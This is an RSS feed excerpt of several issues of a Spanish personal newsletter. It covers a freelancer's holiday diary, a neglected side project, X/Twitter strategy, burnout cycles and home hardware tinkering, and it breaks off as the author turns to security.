autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="true" class="youtube_embed" frameborder="0" height="100%" src="https://youtube.com/embed/SpzJnrwob1A" width="100%"></iframe><p class="paragraph" style="text-align:left;">Y con esto son las 6:00 y lo dejo por hoy para trabajar un poco.</p><p class="paragraph" style="text-align:left;">Aún que la verdad, si todo esto se confirma, vamos a estar viajando a la órbita de Júpiter para enfrentarnos a la flota invasora alienígena en cosa de quince días así que da todo un poco igual 🤷‍♂️.</p><h1 class="heading" style="text-align:left;">🏃🏻💨 6:49 del tercer día</h1><p class="paragraph" style="text-align:left;">Hoy ha sonado el despertador y he pensado: <i>not today</i>. En un rato tengo que bajar a Valencia a recoger unos papeles del banco, y encima me coincide con un despliegue para un cliente, por lo que me tendré que llevar el portátil y si hace falta parar a mitad camino y apagar fuegos 🧑‍🚒. </p><p class="paragraph" style="text-align:left;">Y esta tarde tengo números de que me vuelva a tocar ir, a recoger a mi suegro a la estación. Sí, a Valencia. Y no puedo hacer coincidir las dos cosas porque ya se sabe los banqueros los horarios que se gastan.</p><p class="paragraph" style="text-align:left;">A hacer quilómetros toca 🚗.</p><p class="paragraph" style="text-align:left;">El caso es que he pensado que siendo que ya me voy a perder un fantástico día soleado con la familia, tampoco hay que ser gilipollas y levantarse a las 5 a trabajar.</p><p class="paragraph" style="text-align:left;">Me levanto a las 6:30 que es muchísimo menos de gilipollas, evidentemente.</p><p class="paragraph" style="text-align:left;">Y con esto llevo ya más de 900 palabras y si sigo hasta el miércoles me saldrá un tostón de newsletter. Así que paro por hoy. Voy a seguir leyendo emails y haciendo ☑️ a mi lista de tareas.</p><h1 class="heading" style="text-align:left;">🤬7:55 de día 4</h1><p class="paragraph" style="text-align:left;">Me he levantado hace media hora más o menos. He visto luz en la ventana. Mala hostia instantánea. He visto la hora. Mala hostia creciendo. La siete y media y el móvil en modo no molestar.</p><p class="paragraph" style="text-align:left;">El despertador no ha funcionado.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/64d52635-9281-4a3c-b215-9d0dbca098f0/397429060funny-alarm-clock-animated-gif-11.gif"/></div><p class="paragraph" style="text-align:left;"><i>Me cago en todo el puto despertador no ha sonado me va a tocar quedarme trabajando mientras éstos se van a la playa menuda mier…</i></p><p class="paragraph" style="text-align:left;">Ah. Espera.</p><p class="paragraph" style="text-align:left;">Que es sábado. No tengo puesto despertador los sábados.</p><p class="paragraph" style="text-align:left;">🤷‍♂️</p><p class="paragraph" style="text-align:left;">Y con esta reflexión me he relajado, me he sentado en la taza del váter a que se me pasara la tontería 25 minutos y con las piernas ya medio dormidas he salido a la terraza a escribir estas líneas.</p><p class="paragraph" style="text-align:left;">Ayer leí el feedback de un cliente de <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=43-la-daily" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>. Me lo había <i>FWD</i> mi socio <i>courseriano</i> hace media semana larga, porque él está también de vacaciones, pero de las de verdad, sin electrónica ni cobertura encalado en algún cerro asturiano o similar.</p><p class="paragraph" style="text-align:left;">El meollo del asunto que nos trasladaba el señor era que lo quería usar, pero no tenía claro si el proyecto estaba al borde del abandono o no. Vamos, que había visto el roadmap público y llevaba dos meses igual. Y además lo que quería hacer no le funcionaba. Nos preguntaba directo y <i>to the face</i> que si esta mierda nos interesa o si estamos sudando del asunto.</p><p class="paragraph" style="text-align:left;">Leerlo así en crudo fue interesante. Y le contesté con total transparencia. <b>Esto es, y ha sido siempre, un side project al que no le hemos hecho ni puto caso y que no va a ningún lado</b>. Es interesante ponerlo así en negro sobre blanco porque la sensación es la misma que cuando de pequeño has estado diciéndole a tu madre alguna trola y finalmente te desmoronas y revelas la verdad. Duele, porque te deja en mala posición. Pero libera. Relaja. Quita un peso de encima.</p><p class="paragraph" style="text-align:left;">Porque el autoengaño y el sesgo del coste hundido son <i>droguita</i> de la buena.</p><p class="paragraph" style="text-align:left;">He de reconocer que medio recogí cable en el siguiente párrafo de mi respuesta, diciéndole que no tenemos intención de que el proyecto se marchite y languidezca, que estamos tomándonos el verano para plantear si lo vendemos, si nos juntamos con alguien, lo delegamos o si nos ponemos en serio.</p><p class="paragraph" style="text-align:left;">Pero es todo mentira. Lo de venderlo es verdad, pero es que nadie nos lo va a comprar por ningún precio que a nosotros nos parezca razonable, ya que tenemos una valoración hinchadísima de lo que vale el proyecto. Juntarnos con alguien o delegarlo es otra fantasía. Un proyecto en un estado MVP necesita cariño, dedicación y atención constante. No es delegable a un mercenario técnico, es delegable a un <i>founder</i>. ¿Y quién querría ser un <i>founder</i> compartiendo su bebé con unos <i>señoros</i> que no hacen nada?</p><p class="paragraph" style="text-align:left;">El producto es, por desgracia, fácilmente reproducible, y con meterle 40 horas de SEO y marketing serio también fácilmente superable en todas las métricas.</p><p class="paragraph" style="text-align:left;">Y por acabar, lo de ponernos en serio… creo que no hace falta explicarlo. Después de dos años, no ha ocurrido, ni ocurrirá nunca.</p><p class="paragraph" style="text-align:left;">Así un poco de bajona cierro la entrada del cuarto día. Voy a dedicar lo que queda de mañana mientras floto en algún charco a pensar qué hacer con este proyecto.</p><p class="paragraph" style="text-align:left;">Una idea tengo, y no es secreta, la he comentado ya con mi otra mitad en el asunto, léase <i>mis amigos nocoderos</i>. Lo que pasa es que para arrancar con ella necesito sentir que es real. Y realista. Me faltan hacer los números. Y los horarios.</p><p class="paragraph" style="text-align:left;">Ya veremos.</p><h1 class="heading" style="text-align:left;">🌅🕊️ 6:28 del quinto día</h1><p class="paragraph" style="text-align:left;">Domingo, día del Señor.</p><p class="paragraph" style="text-align:left;">Oremos.</p><p class="paragraph" style="text-align:left;"><i>Agnus Dei, qui tollis peccata mundi, miserere nobis.</i></p><p class="paragraph" style="text-align:left;"><i>Agnus Dei, qui tollis peccata mundi, dona nobis pacem.</i></p><p class="paragraph" style="text-align:left;">Perdón, no sé que me ha dado.</p><p class="paragraph" style="text-align:left;">Hoy no he cometido el error de ayer. Me he puesto el despertador a mano. A las 6:00, que tampoco hace falta rallarse. Ya sabes, Génesis 2:2-3 y tal.</p><p class="paragraph" style="text-align:left;">Es una sensación rara esto de estar escribiendo todos los días. Yo siempre he pensado que la gente que escribe newsletters diarias está loca. Porque sí, seguro que funcionan para vender movidas , pero… ¿todos los días? Menudo estrés, ¿no? No sé ni de qué hablarán. Porque de hecho lo de escribir una newsletter cada día me parece tan loco que no puedo ni <i>leer</i> una cada día, así que nunca me he suscrito a ninguno de los gurús típicos.</p><p class="paragraph" style="text-align:left;">Y en conclusión no sé de qué hablan.</p><p class="paragraph" style="text-align:left;">Pero haciéndolo ahora yo, en esta especie de experimento casero… me intriga. No para leerla, no, me sigue pareciendo un coñazo el concepto. Pero el escribirla, no está mal. Es como la pajilla diaria de un adolescente sobrehormonado. Limpia y libera, despeja la mente de pensamiento impuro.</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div><p class="paragraph" style="text-align:left;">Y la verdad es que me plantearía hacerlo. Que a ver, igual como objetivo tipo económico pues no, porque ya veis de lo que estoy hablando en ésta hasta ahora:</p><ul><li><p class="paragraph" style="text-align:left;">Diarios y precipitación</p></li><li><p class="paragraph" style="text-align:left;">Aliens y superconductores</p></li><li><p class="paragraph" style="text-align:left;">Ir en coche</p></li><li><p class="paragraph" style="text-align:left;">Proyectos fallidos</p></li><li><p class="paragraph" style="text-align:left;">Y hoy teología, aparentemente</p></li></ul><p class="paragraph" style="text-align:left;">Pero igual es una cosa de aquellas de <i>haz cosas y pasarán cosas</i>. Pasará por ejemplo que a nadie le interese y escriba en el vacío sideral. Pero bueno, algo es.</p><p class="paragraph" style="text-align:left;">Lo que tengo cada vez más claro es que voy a retomar lo de <i>hacer cosas</i>. No sé todavía en qué capacidad, a qué nivel, con qué intensidad. Seguramente de lo último poca, porque ya comenté la semana pasada que estoy muy contento haciendo de freelancer, trabajando poco y viviendo mucho. Pero he visto los precios de las casas por aquí alrededor de donde estoy veraneando y… digamos que habrá que inventar algo más productivo si hay idea de acceder a esto de seguido.</p><p class="paragraph" style="text-align:left;">Y como no podría ser de otra forma me aseguraré de ir narrándolo todo. Aún que no será sólo por aquí. Que yo os tengo mucho aprecio, pero soy consciente ahora de que esto lo hago puramente por vicio y que no me va a ayudar en nada si busco abrirme un camino el el mundo de los que <i>hacen cosas</i>. Así que tocará buscar formatos más económicamente sensibles. ¿Blogs? ¿𝕏? ¿Podcast? ¿YouTube? Ya veremos. Eso sí, será en inglés. Esto del idioma patrio está muy bien para un juntaletras de ocurrencia jocosa como yo, pero no da para vender suscripciones al ritmo que gustaría.</p><p class="paragraph" style="text-align:left;">Ya veremos.</p><h1 class="heading" style="text-align:left;">6:56 del día 6 🛳️</h1><p class="paragraph" style="text-align:left;">Es mentira. Me he levantado a esa hora sí, y he escrito el título, pero luego he sentido la llamada de la naturaleza y luego la llamada de escribir dos emails y ya son las 7:40.</p><p class="paragraph" style="text-align:left;">En cualquier caso, tarde para un lunes en el que mi objetivo era haber hecho mínimo 3 horas productivas antes de las 9. Por suerte o por desgracia hoy tengo flexibilidad y no será un gran problema.</p><p class="paragraph" style="text-align:left;">Al final, todo da bastante igual. Hay que ser positivo. Mira qué vistas, trabajar así alegra a cualquiera:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/4cfbae55-eef8-44d9-ae8c-6cef7080f34c/IMG_0676.jpeg"/></div><p class="paragraph" style="text-align:left;">Lo de las terrazas es algo curioso. Estoy en una, escribiendo esto. Y la sensación es fantástica. Veo el mar delante de la pantalla, con el Montgó de fondo. A la derecha montañas y valles entre nubes. Brisa marina, 26ºC, silencio absoluto.</p><p class="paragraph" style="text-align:left;">En mi casa tengo terraza también. Y más grande, oiga. Pero detrás de la pantalla veo nada absolutamente, con un edificio aleatorio de fondo. A la derecha, a un vecino tendiendo. Calor insoportable, 43ºC, ruido de coches.</p><p class="paragraph" style="text-align:left;">No es lo mismo.</p><p class="paragraph" style="text-align:left;">Porque al final todo tiene sus sutilezas. No es lo mismo ser freelancer controlando tus propios horarios y ritmos que siendo dependiente de la organización de otros.</p><p class="paragraph" style="text-align:left;">No es lo mismo estar el Twitter (¡o 𝕏!) todo el día porque procrastinas que porque es tu fuente de leads para tus productos.</p><p class="paragraph" style="text-align:left;">No es lo mismo ser <i>indie hacker</i> ganando pasta que recibiendo menos de 5€ al mes como recompensa.</p><p class="paragraph" style="text-align:left;">A veces la cosa no va de cambios radicales. Va de sutilezas. De esa terraza a la que con algo de sombra y varias plantas cambiarías radicalmente. A el freelancer que cobrando el doble desbloquearía la paz mental. Al indie hacker que deja de hacer el gilipollas y tomarse cafés fantaseando del futuro y se pone a currar.</p><p class="paragraph" style="text-align:left;">Y dicho esto me voy a desayunar. Ale.</p><h1 class="heading" style="text-align:left;">✨ 5:37 del último día</h1><p class="paragraph" style="text-align:left;">Acabamos. Hoy es martes, día 1. Mañana saldrá esta newsletter y la verdad es que ya no me queda demasiado que decir. Como comentaba antes, a nivel personal el experimento de escribir todos los días ha sido un éxito. Para la rutina y para el espíritu. A nivel del público, creo que el resultado va a ser que esta newsletter habrá sido un tostón que se va a acercar a las 3000 palabras, que son aproximadamente 6 folios. Too much pa un email.</p><p class="paragraph" style="text-align:left;">Y cada día que pasaba lo iba notando más, lo del tostón, quitándome las ganas de explayarme. A la próxima suelto cada capítulo en su día. Pero tendrá que ser en las próximas vacaciones eso.</p><p class="paragraph" style="text-align:left;">Ahora voy a ponerme a hacer <i>timesheets</i> y facturas del mes pasado, luego trabajaré un poco y después de un buen desayuno me iré tres horitas a tostarme paseando por el mar.</p><p class="paragraph" style="text-align:left;">La semana que viene ya será newsletter más normal, espero que con algo de contenido <i>temático</i>.</p><p class="paragraph" style="text-align:left;">Ahí os dejo. Espero que hayáis, si no disfrutado, al menos sí pasado el rato con esta cosa que he escrito durante tres horas a lo largo de la semana.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/7fc86603-6a56-4365-bced-e57a31711cba/Screenshot_2023-08-01_at_05.50.14.png"/></div><p class="paragraph" style="text-align:left;">Y como siempre, a disfrutar de lo votado.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=deda7e3d-d105-4d0c-bf08-0d5e02e48501&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#42 - Playa, junio, basura, madera</title>
  <description>Mirar el sol de cara, que no es lo mismo que lo otro</description>
  <link>https://cuento.beehiiv.com/p/42-playa-junio-basura-madera</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/42-playa-junio-basura-madera</guid>
  <pubDate>Wed, 26 Jul 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-07-26T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Buenos miércoles. Hoy, edición de mantenimiento. De esas que es en plan <i>algo tengo que escribir para cumplir, pero ya</i>. Modelo dejar la toalla a primera hora en la tumbona de la piscina.</p><p class="paragraph" style="text-align:left;">A ver qué me invento.</p><h1 class="heading" style="text-align:left;">🌅 <i>Bon dia pel matí</i></h1><p class="paragraph" style="text-align:left;">Resulta que de esta edición de la newsletter he estado cerca de olvidarme. Cuando esto ocurre es que o estoy muy mal, o estoy muy bien. La verdad es que no lo sé todavía. Pero el caso es que mientras escribo estas líneas, si giro la cabeza, está esto:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/fc60f007-b7b4-4653-9529-a8096b37d4d9/photo_2023-07-25_07.17.58.jpeg"/></div><p class="paragraph" style="text-align:left;">Así que supongo que aún que estuviese la cosa mal, aplicaría el <i>ni tan mal</i>.</p><p class="paragraph" style="text-align:left;">Como veis el sol está bajito porque me he levantado a las 4:30. Me he despertado a esa hora porque me he sorprendido entumecido de dormir en un colchón en el suelo con el aire acondicionado momificándome la jeta. Y dado que me quería levantar a las 5:00, ya que me echaba el anticongelante, he aprovechado para empezar el día.</p><p class="paragraph" style="text-align:left;">Otra cuestión es valorar por qué me quería levantar a las 5:00 estando yo evidentemente en plan vacacional a 100 metros del mediterráneo. Pues eso es porque soy un mentiroso compulsivo. A unos les he dicho que estoy 100% desconectado estos días, pero aquí tengo el portátil. A otros les he dicho que estoy plenamente disponible, e incluso me he tomado la libertad de joderme mis propias vacaciones proponiendo deadlines <i>dentro de ellas</i>.</p><p class="paragraph" style="text-align:left;">El caso es que me toca trabajar, así que me he planificado ese maravilloso tramo de 5 a 8 para este menester.</p><p class="paragraph" style="text-align:left;">Y como decía, ni tan mal. 25 grados, brisa de levante y amanecer a media jornada.</p><p class="paragraph" style="text-align:left;">Mañana me saco también la cafetera.</p><p class="paragraph" style="text-align:left;">Empezamos.</p><h1 class="heading" style="text-align:left;">☀️ In your face</h1><p class="paragraph" style="text-align:left;">Habiendo acabado la introducción y siendo ya las 7:28 el sol ha tenido a bien despuntar por detrás del tabique que lo mantenía a raya y darme en todo el ojo. Esto por una parte me obliga a escribir esto a ciegas ya que sobre el cursor veo <i>pampallugues</i> y así la cosa tiene más emoción.</p><p class="paragraph" style="text-align:left;">Por otra parte me remueve el cortisol y me dan ganas de aprovechar estos días no sólo para adelantar trabajo para el que muy acertadamente gentes varias deciden pagarme, sino también retomar aquello que decía el título de no se qué newsletter de <i>vivir del cuento</i>.</p><p class="paragraph" style="text-align:left;">Porque puedo reportar con alegría que empiezo a ver la luz al final del túnel. Esa transición a ser <i>freelancer primero</i> está dando frutos y me da una serenidad mental brutal. Por otra parte los proyectos a precio cerrado están por fin concluyendo, dejando de sangrar horas que me salen a una fracción de lo que fueron estimadas.</p><p class="paragraph" style="text-align:left;">Con todo esto aún queda descubrir si la luz al final del túnel es la salvación profesional o un tren descarrilando. Pero bueno, hay motivos para el optimismo.</p><p class="paragraph" style="text-align:left;">Optimismo para mi, que lo disfruto, y para mis queridos lectores, que con algo se suerte podréis leer nuevas aventuras en esto de <i>hacer mierdas</i> que suele tener más miga que dedicarme a hurgar en el <i>spam</i>. Aún que sé que a algunos les ha gustado mi paréntesis <i>hacker</i>.</p><h1 class="heading" style="text-align:left;">𝕏 Elongated Musketeer 🤺</h1><p class="paragraph" style="text-align:left;">Como decía al principio hoy no estoy para mucha chicha y de hecho en un rato la familia se va a ir para la playa a desayunar <i>de sobaquillo</i> y no seré yo el que se quede aquí. Pero esto lo tenía que comentar.</p><p class="paragraph" style="text-align:left;">Iron 🏋️ Man <i>IRL</i> ha decidido que <i>el rey ha muerto, larga vida al rey</i> y ha cumplido su promesa de cargarse Twitter para convertirlo en el núcleo de lo que es su visón para el <i>social media</i> occidental de 2030: <a class="link" href="http://x.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=42-playa-junio-basura-madera" target="_blank" rel="noopener noreferrer nofollow">x.com</a>.</p><p class="paragraph" style="text-align:left;">Que para los <i>enteraos</i> no es más que lo mismo que el <i>social media</i> oriental de 2015: <b>WeChat</b>.</p><p class="paragraph" style="text-align:left;">En palabras del propio 🐀 Muskrat, <i>”the everything app”</i>. Mensajería, red social, streaming de vídeo y audio, pagos, juegos online, fotografía, etcétera. Vamos, lo que es ahora mismo WeChat en China.</p><p class="paragraph" style="text-align:left;">La gente está polarizándose entre los que creen que 🤡 Elmo va a dilapidar el poco valor que le queda a su inversión de <i>cuartenta y cuatro mil millones de pavetes</i> <i>gastaores</i> y los que ven que esta es la jugada maestra que convertirá lo que era sin duda una red social <i>socialmente popular</i> pero con escasa penetración real en el mercado en un pelotazo mayúsculo.</p><p class="paragraph" style="text-align:left;">Yo estoy con los segundos.</p><p class="paragraph" style="text-align:left;">Por cinco motivos. El primero, porque la velocidad de iteración y de experimentación que está logrando Twitter con Musketman al volante es algo pocas veces visto en el sector.</p><p class="paragraph" style="text-align:left;">El segundo, porque finalmente alguien está cambiando sustancialmente las reglas del juego en el <i>social media</i>. Todos saben ya que la era de las redes sociales en las que el objetivo era <i>socializar</i> con tu red de contactos ha muerto. Ahora esto va de <i>creator economy</i> y de influencia. Y los creadores quieren cobrar. Sólo YouTube era razonablemente generoso con esto, y sólo para vídeo. Ahora Twitter lo es para todo lo demás ya que pagará a los creadores <b>no sólo por las suscripciones directas que quieran pagar sus seguidores, sino también por un porcentaje de los anuncios que se muestren en el contexto de sus Tweets</b>.</p><p class="paragraph" style="text-align:left;">De hecho este modelo ya está en funcionamiento y aparentemente algunas cuentas grandes han empezado a recibir pagos.</p><p class="paragraph" style="text-align:left;">El tercero, relacionado con el anterior, es porque Twitter tiene suficiente <i>efecto red</i> como para comerle terreno a los demás. En particular, YouTube. Y de paso también al líder en música, Spotify, en especial para los podcasts. Y abriendo nuevos mercados con los Spaces, que son básicamente podcasts en directo. Y comiéndose a Medium, Substack y demás con tweets <i>long-form</i>, que ahora incluso permiten embeber imágenes.</p><p class="paragraph" style="text-align:left;">El cuarto, porque el <a class="link" href="http://x.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=42-playa-junio-basura-madera" target="_blank" rel="noopener noreferrer nofollow">x.com</a> de 2023 no es el <a class="link" href="http://x.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=42-playa-junio-basura-madera" target="_blank" rel="noopener noreferrer nofollow">x.com</a> del dot-com bubble. No es un <i>financial marketplace</i> en un sector saturado, como dicen muchos agoreros. Y sí, es verdad que Rocket Man 🚀 está obsesionado con la marca 𝕏 y se le va bastante la pinza. Pero aquí no está inventando nada: de nuevo, está copiando WeChat, que funciona como un tiro.</p><p class="paragraph" style="text-align:left;">Y para acabar, el quinto motivo, el más importante, <b>porque los demás lo están empezando a copiar</b>. Meta con Threads, y hasta TikTok que hoy a anunciado posts de sólo texto. Y es cuestión de tiempo que sigan por este camino copiando también los demás servicios que Twitter va añadiendo.</p><p class="paragraph" style="text-align:left;">Ya veremos como acaba la cosa. Pero os lo repito. Para mi, <i>long $MUSK </i>📈.</p><h1 class="heading" style="text-align:left;">🌊 Me voy a chapotear</h1><p class="paragraph" style="text-align:left;">Y hasta aquí la newsletter de hoy. Muy agradecido de vuestra presencia como siempre. Disfrutad del verano y hasta la semana que viene, que ya se me habrá pasado el <i>shock</i> de estar de vacaciones e igual tengo más que compartir.</p><p class="paragraph" style="text-align:left;">O no.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=20729f67-90d0-4ba2-b62b-211ec79ca412&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#41 - Estar quemado, estar de rodríguez, estar ofuscado</title>
  <description>Esta newsletter es ahora de seguridad informática</description>
  <link>https://cuento.beehiiv.com/p/41-estar-quemado</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/41-estar-quemado</guid>
  <pubDate>Wed, 19 Jul 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-07-19T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Uf, me apetece entre poco y nada escribir, ¿sabes?</p><p class="paragraph" style="text-align:left;">Yo es que voy muy por ciclos. Me menstrúa el cerebro, creo. Perdón por la frase.</p><p class="paragraph" style="text-align:left;">El otro día sentado en la taza estaba mirando <i>shorts</i> del Tubo y me salió un clip de una entrevista a <i>Mr Beast.</i> Para los boomers que no sepáis, es un chaval que hace <i>chorrivídeos</i> pero con la tontería tiene casi 300 millones de suscriptores en varios canales y redes sociales.</p><p class="paragraph" style="text-align:left;">Y sí, el contenido son paridas y absurdidades, pero el tío curra 24/7. Y en el clip comentaba su forma de hacerlo: no tiene horarios, curra todo el día mientras esté despierto, lunes a domingo, hasta que revienta. Le pega un bajonazo de <i>burnout</i> y desconecta del mundo 12-36h. Y con esto se recupera y vuelve al lío.</p><p class="paragraph" style="text-align:left;">Me gustó porque va muy en contra de lo que todos los gurús de enriquecerse y el <i>lifestyle</i> te dicen de tener claros los horarios, separar el trabajo y la vida personal, no trabajar en fines de semana, las vacaciones sin portátil. A este toda esa movida se la pela.</p><p class="paragraph" style="text-align:left;">A ver, que también es verdad que tiene 25 años, es <i>milmillonario</i> y no tiene más obligaciones que hacer cosas absurdas y drogarse (supongo). Pero en cierta forma me recuerda a lo que a mi me va bien, que es precisamente eso: currar a fondo cuando me apetece, sin pensarlo, y cuando me salta el diferencial desconectar el tiempo que necesite hasta que se me enfríe el circuito.</p><p class="paragraph" style="text-align:left;">Lo que pasa es que no puedo hacerlo, por aquello de vivir en sociedad y tener una familia y otros marrones en los que me he metido yo solo por puro vicio sociobiológico. Así que hago caso a los gurús y me hago horarios y esas cosas.</p><p class="paragraph" style="text-align:left;">Pero la verdad de fondo del ciclo de productividad/<i>quemazo</i> continúa ahí y es perfectamente visible:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/3cb39b0d-2ec2-4c80-95d0-b06e11e8e4e6/Screenshot_2023-07-18_at_11_47_23.png"/><div class="image__source"><span class="image__source_text"><p>Están los tiempos censurados por 1) Vergüenza y 2) Obligaciones contractuales. Aún que sabiendo el eje es absoluto y oliendo las proporciones… es bastante deducible.</p></span></div></div><p class="paragraph" style="text-align:left;">Estas son las últimas 14 semanas, sacadas directamente de la herramienta que uso para gestionar mi tiempo. Cada columna, el total de horas que he hecho en esa semana. Es flipante lo claro que es este ciclo de productividad/bajón. Y está bastante claro también que estoy ahora mismo en la parte baja.</p><p class="paragraph" style="text-align:left;">Ya sabes, <b>conócete a ti mismo</b>.</p><p class="paragraph" style="text-align:left;">Pues aquí me tenéis. Me lloran los ojos del sueño que tengo. Tengo varios temas que atender con cierta urgencia. Pero estoy <i>tan</i> cansado de la vida que prefiero escribir la newsletter antes que enfrentarme a todo lo demás que tengo encima de la mesa.</p><p class="paragraph" style="text-align:left;">Porque ese es un poco el truco. Cuando no te apetece hacer nada, hay dos posibilidades:</p><ol start="1"><li><p class="paragraph" style="text-align:left;">Que puedes permitirte no hacer nada</p></li><li><p class="paragraph" style="text-align:left;">Que no</p></li></ol><p class="paragraph" style="text-align:left;">Si es la primera, <i>you win</i>. Al sofá. Y si es la segunda, busca qué es lo menos malo. La cosa que menos pereza te da hacer pero que, si la haces, cuenta como un check ✅ de tu lista de tareas.</p><p class="paragraph" style="text-align:left;">Haz eso.</p><p class="paragraph" style="text-align:left;">Y eso estoy haciendo. La newsletter.</p><p class="paragraph" style="text-align:left;">Hoy vamos a hablar de ser un <i>teenager</i>.</p><h1 class="heading" style="text-align:left;">🏡 Estar <i>de Rodríguez</i></h1><p class="paragraph" style="text-align:left;">La expresión en sí ya es durilla. Que por cierto viene de una peli del 65, <a class="link" href="https://www.imdb.com/title/tt0056972/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=41-estar-quemado-estar-de-rodriguez-estar-ofuscado" target="_blank" rel="noopener noreferrer nofollow">El cálido verano del señor Rodríguez</a>, en la que un señoro se queda solo en su casa durante el verano.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/7dc81813-2d7d-4344-b3e4-1c0473e4ece3/el_calido_verano_del_sr_rodriguez-686521073-large.jpg"/><div class="image__source"><span class="image__source_text"><p>No la he visto, pero me juego un almuerzo a que es altamente cancelable 🤣.</p></span></div></div><p class="paragraph" style="text-align:left;">El caso es que este fin de semana pasado he estado, <i>indeed</i>, de Rodríguez. Solo, en mi casa, de jueves a lunes. Y lo normal en estas situaciones hubiese sido o bien trabajar, o bien estarme de <i>farra</i> día sí día también, o bien haberme pasado el Netflix o, incluso, haberme ido con <i>la sueca</i> como se hacía en los sesenta.</p><p class="paragraph" style="text-align:left;">Pero por lo que sea me ha salido por involucionar hacia mi estado <i>teenager</i> que en resumen es hacer el freak en mi casa. En concreto:</p><ul><li><p class="paragraph" style="text-align:left;">Me he montado un servidor de archivos, incluyendo cambiar todos los ventiladores por <a class="link" href="https://noctua.at?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=41-estar-quemado-estar-de-rodriguez-estar-ofuscado" target="_blank" rel="noopener noreferrer nofollow">Noctua</a> ultra-silenciosos, trabajo que incluyó soldadura y <i>modding</i> de caja.</p></li><li><p class="paragraph" style="text-align:left;">He reinstalado y puesto a punto un iMac para mi señora.</p></li><li><p class="paragraph" style="text-align:left;">Le he metido Windows 11 a mi portátil <i>gamer</i> para poder jugar al Age of Empires a gusto.</p></li><li><p class="paragraph" style="text-align:left;">He instalado Linux en otro portátil para resolver la situación de la semana pasada en la que no tenía ningún PC suficientemente <i>sandboxeado</i> para abrir links sospechosos.</p></li><li><p class="paragraph" style="text-align:left;">He arreglado unos auriculares inalámbricos de Samsung que no habían funcionado nunca por motivos misteriosos.</p></li><li><p class="paragraph" style="text-align:left;">Le he cambiado la cámara a mi iPhone antiguo para hacerlo funcional.</p></li></ul><p class="paragraph" style="text-align:left;">Ha sido maravilloso. Volver a la infancia, rodeado de trastos, cables, olor a vapores de plomo y <i>flux</i>. Pasar las horas delante de un <i>framebuffer</i> instalando Linux desde cero. Gastar dinero en hardware y meterlo como gasto de empresa.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/6d29a046-0f02-44bf-afb6-c9e5db16c817/IMG_A351BCC699DD-1.jpeg"/><div class="image__source"><span class="image__source_text"><p>Qué peligro tiene el tío Bezos.</p></span></div></div><p class="paragraph" style="text-align:left;">El caso es que entre lo de la semana pasada con el phishing y esto de estar trasteando con maquinitas me ha devuelto la ilusión por <i>aprender</i> informática. Y en particular los entresijos de la seguridad, que tenía ya bastante abandonados. Y me he puesto a 